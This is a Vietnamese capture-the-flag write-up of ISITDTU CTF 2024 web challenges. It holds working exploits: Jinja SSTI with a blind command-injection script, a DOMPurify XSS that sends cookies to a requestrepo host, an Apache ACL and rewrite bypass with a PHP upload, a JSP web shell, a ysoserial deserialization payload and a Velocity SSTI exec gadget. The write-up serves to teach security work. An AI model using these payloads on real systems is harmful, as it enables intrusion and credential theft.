# ISITDTU CTF 2024

my team RipeRice in the top 4
## web/Another one
Source code: python flask + bug ujson + ssti template jinjja
Trang web có chức năng đăng kí đăng nhập + hiển thị + render template nhưng không hiển thị kết quả
Quan sát dockerfile ta thấy mạng để internal
```
networks:
internal:
driver: bridge
```
Server đã xóa `rm /usr/bin/wget` và không có các câu lệnh có thể OOB, flag được random name nằm tại /app nên định hướng từ đầu có vẻ là rce.
Nhìn vào source code ta có thể thấy nhanh sink rce ssti từ việc render trực tiếp đầu vào của người dùng
```
data = request.get_json()
template = data.get("template")
rendered_template = render_template_string(template)
```
Để access đến nó ta cần có role admin qua việc phân giải jwt được gắn tại cookie phiên
```
decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
role = decoded.get('role')
if role != "admin":
return jsonify(message="Admin only"), 403
```
Do đó ta hướng đến việc bypass admin để access đến sink, `PyJWT` là version mới nhất nên có vẻ chưa thể khai thác đoạn này.
Bắt đầu đi tìm các gadget liên quan để việc authorization.
Oử đây ta thấy việc register khá khả nghi ->
```
@app.route('/register', methods=['POST'])
def register():
json_data = request.data
if "admin" in json_data:
return jsonify(message="Blocked!")
data = ujson.loads(json_data)
username = data.get('username')
password = data.get('password')
role = data.get('role')
if role !="admin" and role != "user":
return jsonify(message="Never heard about that role!")
if username == "" or password == "" or role == "":
return jsonify(messaage="Lack of input")
if register_db(connection, username, password, role):
return jsonify(message="User registered successfully."), 201
else:
return jsonify(message="Registration failed!"), 400
```
Đối với dữ liệu người dùng để reg account mới thì server sẽ thực hiện check nếu có `admin` trong nội dung thì Blocked. Để ý tại đây thì ta được truyền thêm cả role để reg nên có vẻ source là đây
```
def register_db(connection, username, password, role):
try:
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
if cursor.fetchone():
return False
cursor.execute("INSERT INTO users (username, password, role) VALUES (?, ?, ?)", (username, password, role))
connection.commit()
return True
except sqlite3.Error as e:
print "Error during registration:", e
return False
finally:
cursor.close()
```
do việc insert thằng cả role ta control được vào db nên ta sẽ khai thác đoạn này.
Về việc bypass "admin" có vẻ khá khó nhưng ta thấy ujson sẽ sử lí json sau khi kiểm tra -> searching nhanh thấy nó dính `Improper Handling of Syntactically Invalid Structure` [bug](https://security.snyk.io/vuln/SNYK-PYTHON-UJSON-2942122)
Như poc ta thấy thì đối với kí tự unicode thì sẽ bị bỏ qua

ta bypass thành công admin role và nhận jwt để access render
```
{"username":"hihi","password":"haha","role":"admi\uD800n"}
```
Truyền data template ssti để blind cmdi
```
{"template":"{{ cycler.__init__.__globals__.os.popen('for file in $(ls | grep -v -E \"^(Dockerfile|app.py|database.db|database.py|database.pyc|docker-compose.yml|entrypoint.sh|hihi|requirements.txt|templates)$\"); do cat \"$file\"; done').read() }}"}
```
POC:
```
import requests
import time
session = requests.session()
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#_*&@!^*{}"
burp0_url = "http://152.69.210.130:64830/render"
payload = ""
burp0_cookies = {
"COOKIE_SUPPORT": "true", "GUEST_LANGUAGE_ID": "en_US", "COMPANY_ID": "10155",
"ID": "50367a6f334147512f326b73467055596a33313330773d3d",
"USER_UUID": "\"Z7hRSaNGp6mfY1hAgHY5013+Z80P3zscPYqAa4cOB00=\"",
"LOGIN": "6869686940676d61696c2e636f6d",
"PASSWORD": "352b67744e7066474a422b653753634d4572307148513d3d",
"REMEMBER_ME": "true",
"SCREEN_NAME": "70672b5950377a5147796569624c6f734968704556513d3d",
"jwt_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImxtYW8iLCJyb2xlIjoiYWRtaW4ifQ.IIqnwm7Sb09GgWy0SDEkBgsLzbHg66_iCA5DzmiRkJA"
}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "close",
"Referer": "http://localhost:8082/login",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Content-type": "application/json",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i"
}
for i in range(1, 100):
for char in alphabet:
burp0_json = {
"template": f"{{{{ cycler.__init__.__globals__.os.popen('for file in $(ls | grep -v -E \"^(Dockerfile|app.py|database.db|database.py|database.pyc|docker-compose.yml|entrypoint.sh|hihi|requirements.txt|templates)$\"); do char=$(cat \"$file\" | head -c {i} | tail -c 1); if [ \"$char\" = \"{char}\" ]; then sleep 5; else echo \"no\"; fi; done').read() }}}}"
}
start_time = time.time()
res = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)
end_time = time.time()
if (end_time - start_time) >= 5:
payload += char
print("flag is: " + payload)
break
```
flag: `ISITDTU{N0W_y0u_kn0w_h0w_T0_m4k3_1t_r3Fl3ct3d!!}`
## web/ X ÉC ÉC
Trang web sử dụng expressjs và module npm `dompurify": "^3.1.6` để filter xss -> bypass xss để steal bot cookie
Có chức năng ghi một note và hiển thị note sau khi được server filter xss.
payload:
````
<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=fetch('http://00br69e7.requestrepo.com/?a='+document.cookie)>">.
````
flag: `ISITDTU{d364c13b91d3bd0ecb3ffed49b229fc06b1208e8}`
## web/S1mple
### recon
Đối với bài này source sẽ được pull từ dockerhub xuống `FROM servertest2008/simpleserver:1.4` ta thấy có 2 repo khá xuống nhau từ 2 tháng trước và 2 ngày trước đó.
Sau khi build docker đi vào server ta thấy ngay server sử dụng `Apache/2.4.18` + `mod_dumpio.so`
Module `mod_dumpio.so` sẽ bật config: `LogLevel dumpio:trace7 DumpIOInput On DumpIOOutput On` đẻ ghi log.
Trang web có hiển thị 3 href là 3 trang chỉ có only text nên không có gì có thể khai thác -> ta sẽ đi vào server
tại /var/www/html:

ngoài file index.html thì còn có 2 pages như ta thấy ở trên, ngoài ra còn file `.`htaccess`
```
<Files "admin.php">
AuthType Basic
AuthName "Admin"
AuthUserFile "/.htpasswd"
Require valid-user
</Files>
<Files "adminer.php">
AuthType Basic
AuthName "Admin"
AuthUserFile "/.htpasswd"
Require valid-user
</Files>
<Files "xmlrpc.php">
AuthType Basic
AuthName "Admin"
AuthUserFile "/.htpasswd"
Require valid-user
</Files>
<Files .env>
Order allow,deny
Deny from all
</Files>
```
File này do root tạo nó yêu cầu authen khi truy cập vào các file admin.php và adminer.php và AuthUserFile chính là file flag của chall nên có vẻ như phải tìm cách bypass
Tại file admin.php -> ta thấy có thể truyền param pages và được include nhưng nó được cộng string '/pages/ + param page + '.html'.
Vì đây là version php 7.0 nên không thể dùng null byte để bypass hay path truncation php được.
Sau đó mình thực hiện find tất cả các file có đuôi .html trên server nhưng mà không có file này có khuôn mẫu php để có thể khai thác ngoài file `/usr/share/vulnx/shell/VulnX.php` có chức năng upload file nhưng việc bypass extention là bất khả thi.

Nếu access được đến file này mình có thể upload 1 file vào uploads/.
Sau khi fuzz 1 hồi server thì mình phát hiện được:

```
vi /etc/apache2/.htpasswd
nano /etc/apache2/.htpasswd
rm /etc/apache2/.htpasswd
cd
git clone https://github.com/anouarbensaad/vulnx.git
apt install python3-pip
apt update
apt install python3 python3-pip
ls
cd vulnx/
ls
pip3 install -r requirements.txt
./install.sh
bash install.sh
apt install sudo
./install.sh
vi install.sh
nano install.sh
./install.sh
cd /usr/share/vulnx/
ls
cat install.sh
nano install.sh
ls
cd
ls
rm -rf vulnx/
cd /usr/share/vulnx/
ls
cd shell/
ls
mkdir cat VulnX.php
ls
mkdir uploads
chmod 777 uploads/
ls -la
rm -r uploads/
mkdir uploads
cd uploads/
l
ls
touch shell.php
chmod 777 shell.php
ls -la
ls
cd ..
ls
vi VulnX.php
nano VulnX.php
ls
cat uploads/shell.php
ls
nano uploads/
nano uploads/shell.php
nano VulnX.gif
nano VulnX.html
nano VulnX.php.mp4
nano VulnX.php.png
ls cat/
file
nano VulnX.zip
ls
ls -la
cd uploads/
ls -la
ls
ls -la
cat shell.php
ls -la shell.php
nanno shell.php
nano shell.php
ls
nano shell.php
cd
ls
cd /var/www/html/
ls
vi src/.htaccess
nano src/.htaccess
ls /etc/apache2/.htpasswd
exit
cat /usr/share/vulnx/shell/uploads/shell.php
cat /usr/share/vulnx/shell/uploads/shell.php
cat /.flag
cd /var/www/html/
ls
cd src/
ls
vi admin.php
apt intall vim
apt install vim
ls
vi admin.php
cat admin.php
ls
cd /usr/share/vulnx/
ls
cd shell/
ls
cd uploads/
ls
mv shell.php shell.html
ls -la
cd ..
ls
ps aux
cd
ls
cd /var/www/html/
ls
cd src/
ls
cat admin.php
cat .htaccess
cat /
/.htpasswd
vi .htaccess
ls /usr/share/vulnx/shell/uploads/shell.html
ls -la /usr/share/vulnx/shell/uploads/shell.html
cat /usr/share/vulnx/shell/VulnX.php
exit
cd /var/www/html/
ls
cd src/
ls
vi admin.php
ls
mkdir pages
cd pages/
vi 1.html
vi 2.html
ls
cd ..
ls
vi admin.php
rm /.htpasswd
exit
ls
vi /etc/apache2/sites-available/000-default.conf
service apache2 restart
cd /var/www/html/
ls
cat /usr/share/vulnx/shell/VulnX.php
ls /usr/share/vulnx/shell/VulnX.php
ls /usr/share/vulnx/shell/uploads/
cat /usr/share/vulnx/shell/uploads/shell.html
cd
ls
ks
ls
ls -la /
cat /.flag
rm /.flag
ls
ls -la .htpasswd
cat /.htpasswd
ls
ls -la
cat .htpasswd
rm .htpasswd
ls
cd /
ls
ls -la /
cat start.sh
exit
ls
cd /var/www/html/
ls
cd src/
ls
cat /etc/apache2/sites-available/000-default.conf
ls
vi about.html
ls
cat index.php
mv index.php index.html
vi index.html
ls
vi index.html
vi contact.html
exit
cat /.htpasswd
sudo a2enmod dumpio
a2enmod dumpio
a2enmod dump_io
vi /etc/apache2/apache2.conf
sudo systemctl restart apache2
service apache2 restart
cat /var/log/apache2/error.log
cat /var/log/apache2/access_php.log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_php.log
exit
```
Có vẻ đây là hint của tác giả vì không xóa .bash_history của root user
Có thể thấy root thực hiện clone repo `https://github.com/anouarbensaad/vulnx.git` từ người dùng và cài đặt nó sau đó thực hiện cấu hình apache bằng việc thay đổi file `/etc/apache2/sites-available/000-default.conf` tiếp theo cài `dumpio` và kích hoạt nó -> sửa đổi `/etc/apache2/apache2.conf` và restart lại apache server cuối cùng người dùng đọc 3 file log của server để kiểm tra.
Đối với file `/etc/apache2/sites-available/000-default.conf`

ở đây tác giả dùng server_api dùng FastCGI để xử lí file .php nhanh hơn giúp tối ưu hiệu suất và cân bằng tải cho hệ thống.
tại web root cho phép `AllowOverride All` để đảm bảo file .htaccess ở trên hoạt động đúng
```
RewriteEngine On
RewriteRule ^/website-(.*).doc$ /$1.html
```
Đối với đoạn này sẽ thực hiện chuyển hướng các route match regex sang file .html với tên tương ứng
Ta để ý phần giữa root có đọc các file (đây là các file được tạo ra từ việc install repo trên):

```
cat /usr/share/vulnx/shell/VulnX.php
ls /usr/share/vulnx/shell/VulnX.php
ls /usr/share/vulnx/shell/uploads/
cat /usr/share/vulnx/shell/uploads/shell.html
```
thấy có file `/usr/share/vulnx/shell/uploads/shell.html` nhưng mà chỉ có chữ `test`
Phát hiện ra mình chưa đọc log của apache - ở đây có vẻ tác giả quên xóa log nên làm giảm độ khó của chall này

Ta phát hiện ra file `/var/log/apache2/access_php.log`
Tìm hết file này thấy có 2 điểm là chỗ để sol bài này luôn
Điểm đầu tiên là việc bypass authentication ở file .htaccess để access đến admin.php

Sau đó là cách access đến file upload:

Tại đây thì ta sẽ có ý tưởng là upload file .html để overwrite file shell/html tại file upload sau đó dùng lfi để trigger rce.
### detect
**ACL Bypass**:
```
<FilesMatch "\.php$">
SetHandler "proxy:unix:/run/php/php7.0-fpm.sock|fcgi://localhost/"
</FilesMatch>
```
Nguyên nhân do ngữ nghĩa không nhất quán về r->filename giữa các mô-đun. Hầu hết các Proxy đều coi r->filename như một đường dẫn hệ thống tệp thay vì url do việc chuyển hướng các yêu cầu như ở đây nó chuyển hướng đến với fcgi đến cho intepreter thực hiện xử lí file php.
Nên ta dùng `/admin.php%3Fooo.php` có thể bypass được match của .htaccess
Nguồn: https://blog.orange.tw/posts/2024-08-confusion-attacks-en/#%E2%9C%94%EF%B8%8F-1-1-1-Path-Truncation
**bypass RewriteRule**
```
RewriteEngine On
RewriteRule ^/website-(.*).doc$ /$1.html
```
`/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc`
ở đây ta thấy regex sẽ match tất cả chuỗi bắt đầu bằng `/website-` sau đó $1 sẽ là bất kì chuỗi nào nằm sau và kết thúc bằng .doc
Lúc này phần còn lại là `/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a` được match lần đầu tiên nên $1 = `/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a`
Và việc redirect sẽ dẫn đến `/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.html` lúc này phần đằng sau sẽ được coi như là một param và lược bỏ ta sẽ access đến `/usr/share/vulnx/shell/VulnX.php%3f`
### exploit

```
POST /website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc
Content-Type: multipart/form-data; boundary=---------------------------2778427660522729618720203579
Content-Length: 371
Origin: http://localhost
Connection: close
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; COMPANY_ID=10155; USER_UUID="jiImVDJvR9FvHsC9ILRngv9QY7WiCc4KxubG7TEzTpM="; LOGIN=6c6d616f40676d61696c2e636f6d; REMEMBER_ME=true; SCREEN_NAME=65304e4e5442436764486f7678336750624b676a43773d3d; ID=4b4432493933576971666767794e6e4a5a78463047773d3d; PASSWORD=4e6a69664a726f41724461424c6454534651486b54673d3d
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
-----------------------------2778427660522729618720203579
Content-Disposition: form-data; name="image"; filename="shell.html"
Content-Type: application/octet-stream
<?php system('cat /.htpasswd');?>
-----------------------------2778427660522729618720203579
Content-Disposition: form-data; name="Submit"
Upload
-----------------------------2778427660522729618720203579--
```
```
GET /admin.php%3fooo.php?pages=../../../../../usr/share/vulnx/shell/uploads/shell HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; COMPANY_ID=10155; USER_UUID="jiImVDJvR9FvHsC9ILRngv9QY7WiCc4KxubG7TEzTpM="; LOGIN=6c6d616f40676d61696c2e636f6d; REMEMBER_ME=true; SCREEN_NAME=65304e4e5442436764486f7678336750624b676a43773d3d; ID=4b4432493933576971666767794e6e4a5a78463047773d3d; PASSWORD=4e6a69664a726f41724461424c6454534651486b54673d3d
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
```

flag: `ISITDTU{5e85c3b7f62b1dd9a990530c03f39abaa78f7085}`
## web/niceray
Một bài white box với life ray java + bug deserialize
Đề bài cho ta thấy được một server khá hoàn chỉnh được build với java được chạy bởi java jdk8
Về cơ bản thì mình chưa phân tích liferay bao giờ nên mình sẽ nói về cc6 để khai thác -> rce cho bài này
source là: `java.io.ObjectInputStream.readObject()`
sink: `org.apache.commons.collections.functors.InvokerTransformer.transform(`
Với các yếu tố như trên thì đại khái ta có thể đoán được bài này dính bug deserialize
Lướt qua các lib được sử dụng tại đây ta thấy có common colection 3-2-1

Cùng với lib `jboss 7.1.1`

Tiến hành set up remote debug + khai thác lỗ hổng này

Đi vào bài -> ta thấy flag được random -> mục tiêu rce

chall sẽ cop package `liferay-portal-6.2-ce-ga3` vafp /opt
ở đây ta sẽ expose 2 port là 8080 là của chall và 5005 là port remote debug docker
`iptables` cài đặt iptables -> chạy .sh để config iptables
`iptables` được sử dụng để thiết lập và quản lý tường lửa trên các hệ thống Linux, giúp kiểm soát lưu lượng mạng vào, ra và chuyển tiếp qua hệ thống -> từ đó giúp cho hệ thống có thể kiểm soát lưu lượng truy cập, hoặc ngăn chặn các cuộc tấn công mạng, hay là bảo vệ hệ thống bằng cách chặn các lưu lượng trái phép.

ở đây tác giải rm /apt và sleep có vẻ để ta không brute được hay cài các packgage khác

Thực hiện config từ việc xóa sạch rule nằm trong bảng filter -> sau đó xóa các rule trong các chain của bảng nat để chuyển tiếp lưu lượng -> xóa tất cả các chain tùy chỉnh (custom chain) trong bảng filter. Các chain mặc định như INPUT, OUTPUT, và FORWARD sẽ không bị xóa, chỉ các chain được người dùng tạo thủ công bị xóa .
Đặt chính sách mặc định cho chain OUTPUT là DROP, nghĩa là chặn tất cả các gói tin gửi đi từ hệ thống nếu không có rule khác cho phép + Cho phép tất cả gói tin vào mà không cần rule.
sau đó, tạo các quy tắc để cho phép lưu lượng mạng qua giao diện loopback (lo), đảm bảo rằng các gói tin truyền trong nội bộ hệ thống vẫn hoạt động bình thường
Định nghĩa INTERNAL_NETWORK là "172.18.0.0/16" các ip nằm trong dải 172.18.0.0 -> 172.18.255.255
Đối với các gói tin đi ra khỏi hệ thống chỉ cho phép nếu đích đến là INTERNAL_NETWORK tương tự các gói tin vào hệ thống chỉ cho phép từ nguồn này
Cho phép các gói in đi ra qua giao thức udp/tcp với cổng đích là 53
Quay trở lại với Dockerfile sẽ khởi tạo env java và chạy server

sử dụng internal network để ngăn chặn ta oob -> đo đó bài này ta sẽ hướng đến là deserialize không sử dụng các gadget của rmi hoặc những phương thức oob tương tự.
``` java
RMI - Remote Method Invocation là một kĩ thuật cài đặt các đối tượng phân tán trong Java. RMI là một phần của bộ J2SDK và là hàm thư viện hỗ trợ các lời gọi phương thức từ xa và trả về giá trị cho các ứng dụng tính toán phân tán. Chúng ta giả sử rằng ngôn ngữ Java được sử dụng ở cả hai phía gọi và phía bên phương thức được gọi.
```
### đôi nét về liferay

Liferay là một giải pháp mã nguồn mở được ra mắt năm 2001, nếu ai đã biết đến wordpress rồi thì Liferay tương tự nó, ở đây có khoảng 80% các chức năng cần thiết đã được dựng sẵn -> từ đó người dùng có thể tập trung vào việc phát triển sản phẩm thay vì làm lại phần cơ bản
``` java
Nó là một nền tảng mạnh mẽ và linh hoạt, có thể được sử dụng để tạo ra nhiều loại ứng dụng khác nhau,
bao gồm trang web, cổng thông tin, ứng dụng nội bộ và ứng dụng thương mại điện tử.
Liferay cung cấp các tính năng như quản lý nội dung, quản lý người dùng, quản lý quyền truy cập,
quản lý giao diện, quản lý tìm kiếm, quản lý cộng đồng và hỗ trợ đa ngôn ngữ.
```
Searching với life-ray ta có thể thấy nhiều bug điển hình là Liferay TunnelServlet bị dính deserialize do việc cấu hình không đúng cho việc access đến 1 vài endpoint -> từ đó dẫn đến attacker có thể access đến /api không nằm trong phân vùng authorization của họ từ đó dẫn đến lỗ hổng rce.
**Version dính của life ray là** ``<liferay-portal 6.1.0 CE``
Để có thể biết rõ hơn về lỗi của version này ta sẽ diff với ida với `7.0.3 GA4` để tìm ra bản vá của nó.
Sink của nó nằm tại method doPost trong class TunnelServlet và ở bản vá `7.0.3` nó đã thực hiện thêm phần check permission của local user


Trong bài viết bug đã được đề cập thì ta có thể thấy 2 mapping url dính lỗi đó là /api/liferay/* và /api/spring, cả 2 api này chỉ có thể được gọi từ local user, như trong bài này ta sẽ khai thác với sink Tunnel Servlet do đó ta sẽ dùng /api/liferay

Tunnel Servlet thường hoạt động như một proxy giữa người dùng và dịch vụ mà nó hướng tới. Khi một yêu cầu HTTP được gửi tới Tunnel Servlet, servlet này sẽ chuyển tiếp yêu cầu đó tới dịch vụ backend hoặc máy chủ đích, sau đó lấy kết quả và gửi lại về trình duyệt như là phản hồi ban đầu.
Sink của chain này nằm tại `ois.readObject()`
gửi request post đến api/liferay và sử dụng /api////liferay để bypass local check

Ta nhận được req tại debug

Quan sát các call stack của luồng thực thi



Tại đây thì cơ bản là mình chuyển byte không đúng định dạng của ois nên nó handle exception
Việc cần làm là đi tìm các gadget để có thể rce được -> ở trên ta đã nói là có sử dụng common collection 3.2.1 và bài sử dụng jdk 1.8

Nên ta sẽ lợi dụng các cc trong yoserial để khai thác
ở đây dùng cc6
``` java
<%@ page import="java.util.*,java.io.*" %>
<%
%>
<HTML>
<BODY>
<H3>JSP SHELL</H3>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="password" NAME="password">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Execute">
</FORM>
<PRE>
<%
if ("zzzzzz".equals(request.getParameter("password"))) {
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
} else {
out.println("Incorrect password");
}
%>
</PRE>
</BODY>
</HTML>
```
ta sẽ tạo một shell jsp trên server -> từ đó server sẽ xử lí jsp tương tự như xử lí php theo kiểu upload file
``` python
import requests
import os
URL = "http://localhost:8080"
os.system('"D:/[path]/ysoserial-all.jar CommonsCollections6 "bash -c {echo,ZWNobyBQQ1ZBSUhCaFoyVWdhVzF3YjNKMFBTSnFZWFpoTG5WMGFXd3VLaXhxWVhaaExtbHZMaW9pSUNVK0Nqd2xDaVUrQ2p4SVZFMU1QZ29nSUNBZ1BFSlBSRmsrQ2lBZ0lDQWdJQ0FnUEVnelBrcFRVQ0JUU0VWTVREd3ZTRE0rQ2lBZ0lDQWdJQ0FnUEVaUFVrMGdUVVZVU0U5RVBTSlFUMU5VSWlCT1FVMUZQU0p0ZVdadmNtMGlJRUZEVkVsUFRqMGlJajRLSUNBZ0lDQWdJQ0FnSUNBZ1BFbE9VRlZVSUZSWlVFVTlJbkJoYzNOM2IzSmtJaUJPUVUxRlBTSndZWE56ZDI5eVpDSStDaUFnSUNBZ0lDQWdJQ0FnSUR4SlRsQlZWQ0JVV1ZCRlBTSjBaWGgwSWlCT1FVMUZQU0pqYldRaVBnb2dJQ0FnSUNBZ0lDQWdJQ0E4U1U1UVZWUWdWRmxRUlQwaWMzVmliV2wwSWlCV1FVeFZSVDBpUlhobFkzVjBaU0krQ2lBZ0lDQWdJQ0FnUEM5R1QxSk5QZ29nSUNBZ0lDQWdJRHhRVWtVK0NpQWdJQ0FnSUNBZ1BDVUtJQ0FnSUNBZ0lDQnBaaUFvSW5wNmVucDZlaUl1WlhGMVlXeHpLSEpsY1hWbGMzUXVaMlYwVUdGeVlXMWxkR1Z5S0NKd1lYTnpkMjl5WkNJcEtTa2dld29nSUNBZ0lDQWdJQ0FnSUNCcFppQW9jbVZ4ZFdWemRDNW5aWFJRWVhKaGJXVjBaWElvSW1OdFpDSXBJQ0U5SUc1MWJHd3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRzkxZEM1d2NtbHVkR3h1S0NKRGIyMXRZVzVrT2lBaUlDc2djbVZ4ZFdWemRDNW5aWFJRWVhKaGJXVjBaWElvSW1OdFpDSXBJQ3NnSWp4Q1VqNGlLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRkJ5YjJObGMzTWdjQ0E5SUZKMWJuUnBiV1V1WjJWMFVuVnVkR2x0WlNncExtVjRaV01vY21WeGRXVnpkQzVuWlhSUVlYSmhiV1YwWlhJb0ltTnRaQ0lwS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUU5MWRIQjFkRk4wY21WaGJTQnZjeUE5SUhBdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCSmJuQjFkRk4wY21WaGJTQnBiaUE5SUhBdVoyVjBTVzV3ZFhSVGRISmxZVzBvS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUVSaGRHRkpibkIxZEZOMGNtVmhiU0JrYVhNZ1BTQnVaWGNnUkdGMFlVbHVjSFYwVTNSeVpXRnRLR2x1S1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUZOMGNtbHVaeUJrYVhOeUlEMGdaR2x6TG5KbFlXUk1hVzVsS0NrN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCM2FHbHNaU0FvSUdScGMzSWdJVDBnYm5Wc2JDQXBJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCdmRYUXVjSEpwYm5Sc2JpaGthWE55S1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmthWE55SUQwZ1pHbHpMbkpsWVdSTWFXNWxLQ2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0I5Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlJR1ZzYzJVZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0J2ZFhRdWNISnBiblJzYmlnaVNXNWpiM0p5WldOMElIQmhjM04zYjNKa0lpazdDaUFnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJQ1UrQ2lBZ0lDQWdJQ0FnUEM5UVVrVStDaUFnSUNBOEwwSlBSRmsrQ2p3dlNGUk5URDRLIHwgYmFzZTY0IC1kID4gL29wdC9saWZlcmF5LXBvcnRhbC02LjItY2UtZ2EzL2pib3NzLTcuMS4xL3N0YW5kYWxvbmUvZGVwbG95bWVudHMvUk9PVC53YXIvbmFtbWguanNw}|{base64,-d}|{bash,-i}" > a.bin')
r = requests.post(URL + "/api///liferay", data = open("a.bin", "rb"))
print(r.text)
Nguồn: anh Nam
```
ở đây ta sẽ tạo web shell tại root `/opt/liferay-portal-6.2-ce-ga3/jboss-7.1.1/standalone/deployments/ROOT.war`
-> từ đó tạo được shell để rce và nhận flag


Tham khảo: https://nguyendt.hashnode.dev/lpe-15538, https://sec.vnpt.vn/2019/01/ahihihihihihihihihihihihi
## web/hihi
Một bài white-box với việc bypass ssti velocity của java spring boot
Trang web cơ bản chỉ có một api dành cho ``/`` ở đây ta sẽ chú ý method post `/`
```
@PostMapping(value = "/")
@ResponseBody
public String hello(@RequestParam("data") String data) throws IOException {
String hexString = new String(Base64.getDecoder().decode(data));
byte[] byteArray = Encode.hexToBytes(hexString);
ByteArrayInputStream bis = new ByteArrayInputStream(byteArray);
ObjectInputStream ois = new SecureObjectInputStream(bis);
String name;
try{
Users user = (Users) ois.readObject();
name= user.getName();
} catch (Exception e) {
throw new RuntimeException(e);
}
if(name.toLowerCase().contains("#")){
return "But... For what?";
}
String templateString = "Hello, " + name+". Today is $date";
Velocity.init();
VelocityContext ctx = new VelocityContext();
LocalDate date = LocalDate.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("MMMM dd, yyyy");
String formattedDate = date.format(formatter);
ctx.put("date", formattedDate);
StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString);
return out.toString();
}
```
Serve nhận data được gửi lên -> sau đó nó thực hiện decode bas64 dữ liệu nhận được -> sau đó thực hiện khởi tạo một object ois với class `SecureObjectInputStream` -> sau đó lấy ra name -> nếu name chứa `#` sẽ không xử lí gì thêm -> nếu không chưa sẽ khởi tạo chuỗi được nối với name và hiển thị giao diện qua velocity template
https://iwconnect.com/apache-velocity-server-side-template-injection/
đối với việc hiển thị ta có thể dễ sàng biết được sink là ssti ở đây qua source là variable name được người dùng control.
Nhưng có 2 vấn đề đặt ra:
- Đầu tiên là việc filter ``#`` như trong bài viết có đề cập ta cần phải sử dụng chỉ thị `#set` để thiết lập các biến điều kiện.
Đối với việc này ta có thể để ý là việc biến date được render đồng thời nằm trong template
Ta có thể lợi dụng biến này để invoke `runtime.exe`
```java
$date.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('touch /tmp/lamnt')
```
Từ đây khi truyền vào biến name -> server sẽ thực hiện deserialize -> sau đó biến được truyền vào -> nó lợi dụng biến date để invoke method runtime.exec
ở đây ta sẽ dùng `bash -c {echo,base64command}|{base64,-d}|{bash,-i}` để tạo file nằm trong web root
```java
package com.isitdtu.hihi.Controllers;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.VelocityContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import com.isitdtu.hihi.Helpers.Encode;
import com.isitdtu.hihi.Helpers.SecureObjectInputStream;
